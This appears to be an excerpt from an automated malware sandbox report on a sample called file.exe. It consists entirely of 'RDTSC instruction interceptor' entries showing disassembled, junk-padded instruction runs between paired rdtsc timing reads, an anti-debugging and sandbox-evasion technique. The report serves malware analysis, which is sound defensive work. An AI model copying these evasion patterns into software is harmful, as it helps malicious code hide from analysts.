Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BC11 second address: F2BC52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D95h 0x00000007 jmp 00007FD4352B3D93h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnc 00007FD4352B3D95h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BC52 second address: F2BC59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BC59 second address: F2BC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD4352B3D86h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FD4352B3D92h 0x00000015 jmp 00007FD4352B3D94h 0x0000001a popad 0x0000001b jp 00007FD4352B3D88h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BC98 second address: F2BCB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B390Fh 0x00000009 jg 00007FD4352B3906h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BE22 second address: F2BE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D98h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push esi 0x0000001b jmp 00007FD4352B3D93h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BE65 second address: F2BE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BE6E second address: F2BE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BF97 second address: F2BF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BF9D second address: F2BFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BFA5 second address: F2BFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BFAA second address: F2BFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FEFF second address: F2FF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FAE5 second address: F2FB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D93h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FB03 second address: F2FB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F324A7 second address: F324AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F324AD second address: F324CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FD4352B390Ah 0x0000000e jnc 00007FD4352B390Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F60B second address: F4F632 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4352B3D94h 0x00000008 jnp 00007FD4352B3D8Ah 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F632 second address: F4F636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F520AA second address: F520B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FD4352B3D86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A4ED second address: F6A4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A4F1 second address: F6A503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A503 second address: F6A507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A96E second address: F6A97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007FD4352B3D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A97D second address: F6A988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF30 second address: F6AF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF34 second address: F6AF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4352B3911h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF51 second address: F6AF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF55 second address: F6AF70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3917h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF70 second address: F6AF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF76 second address: F6AF84 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4352B3908h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF84 second address: F6AF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF88 second address: F6AF8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B103 second address: F6B10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B267 second address: F6B26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B26D second address: F6B271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DEC6 second address: F6DECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E11E second address: F6E124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E46C second address: F6E4C8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD4352B390Fh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 jns 00007FD4352B390Bh 0x00000019 add dx, 2533h 0x0000001e jmp 00007FD4352B390Dh 0x00000023 push dword ptr [ebp+122D1C85h] 0x00000029 movzx edx, cx 0x0000002c push F3D981E1h 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FD4352B3916h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71070 second address: F71074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71074 second address: F7107A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7107A second address: F71080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73069 second address: F7306D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7306D second address: F7307B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0F33 second address: 4BE0F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov al, 0Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov al, dl 0x00000011 mov bx, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0F48 second address: 4BE0F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4352B3D8Dh 0x00000008 mov ebx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007FD4352B3D8Ah 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 movzx ecx, bx 0x0000001b push eax 0x0000001c push edx 0x0000001d mov bx, 61FCh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0F76 second address: 4BE0FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebp 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FD4352B3918h 0x0000000f xor ch, 00000048h 0x00000012 jmp 00007FD4352B390Bh 0x00000017 popfd 0x00000018 mov bx, ax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0E07 second address: 4BD0E4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, 17h 0x0000000d mov dh, ch 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FD4352B3D8Bh 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD4352B3D90h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0E4D second address: 4BD0E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0E51 second address: 4BD0E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0E57 second address: 4BD0E9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FD4352B390Dh 0x00000012 pushfd 0x00000013 jmp 00007FD4352B3910h 0x00000018 sub esi, 4C873588h 0x0000001e jmp 00007FD4352B390Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB010F second address: 4BB0144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f mov ebx, 580B2EFCh 0x00000014 popad 0x00000015 push dword ptr [ebp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD4352B3D8Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0144 second address: 4BB0148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0148 second address: 4BB014E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB014E second address: 4BB0165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3913h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0165 second address: 4BB018F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, 544B84F9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB018F second address: 4BB01A4 instructions: 0x00000000 rdtsc 0x00000002 mov cl, 77h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, 56250516h 0x0000000b popad 0x0000000c push dword ptr [ebp+08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01A4 second address: 4BB01BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01BA second address: 4BB01CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B390Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01CC second address: 4BB01D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0BFA second address: 4BD0C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0C00 second address: 4BD0C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FD4352B3D8Ch 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0C19 second address: 4BD0C62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FD4352B390Ah 0x0000000c or esi, 5B9E6058h 0x00000012 jmp 00007FD4352B390Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esp], ebp 0x0000001e pushad 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD4352B3918h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0C62 second address: 4BD0C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, C4h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD074C second address: 4BD07BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FD4352B390Eh 0x0000000c adc ecx, 70454388h 0x00000012 jmp 00007FD4352B390Bh 0x00000017 popfd 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FD4352B3919h 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FD4352B3913h 0x00000028 call 00007FD4352B3918h 0x0000002d pop esi 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0504 second address: 4BD0508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0508 second address: 4BD050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0135 second address: 4BE01C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD4352B3D8Dh 0x0000000b sbb eax, 1F005406h 0x00000011 jmp 00007FD4352B3D91h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FD4352B3D91h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FD4352B3D8Eh 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov esi, 12DBEB6Dh 0x0000002e pushfd 0x0000002f jmp 00007FD4352B3D8Ah 0x00000034 xor ax, 8508h 0x00000039 jmp 00007FD4352B3D8Bh 0x0000003e popfd 0x0000003f popad 0x00000040 pop ebp 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FD4352B3D95h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE01C1 second address: 4BE01C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F18 second address: 4C10F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F1E second address: 4C10F67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, cl 0x00000005 pushfd 0x00000006 jmp 00007FD4352B3917h 0x0000000b jmp 00007FD4352B3913h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD4352B3910h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F67 second address: 4C10F76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F76 second address: 4C10F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F7C second address: 4C10F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F80 second address: 4C10FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, 97D3h 0x0000000e mov cx, DE2Fh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD4352B3911h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10FA7 second address: 4C10FAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF02DE second address: 4BF02E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF02E4 second address: 4BF02E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF02E8 second address: 4BF02F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF02F5 second address: 4BF032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD4352B3D8Eh 0x00000009 pop ecx 0x0000000a popad 0x0000000b movsx edi, si 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4352B3D99h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF032B second address: 4BF038A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD4352B3913h 0x00000014 and ax, 281Eh 0x00000019 jmp 00007FD4352B3919h 0x0000001e popfd 0x0000001f call 00007FD4352B3910h 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF038A second address: 4BF03C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, B2h 0x00000005 mov bh, D2h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebp+08h] 0x0000000d pushad 0x0000000e mov bx, si 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 and dword ptr [eax], 00000000h 0x00000017 jmp 00007FD4352B3D96h 0x0000001c and dword ptr [eax+04h], 00000000h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD4352B3D8Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF03C9 second address: 4BF03D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0657 second address: 4BD065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD065B second address: 4BD0661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0661 second address: 4BD0667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0DCA second address: 4BE0DD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0DD9 second address: 4BE0DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
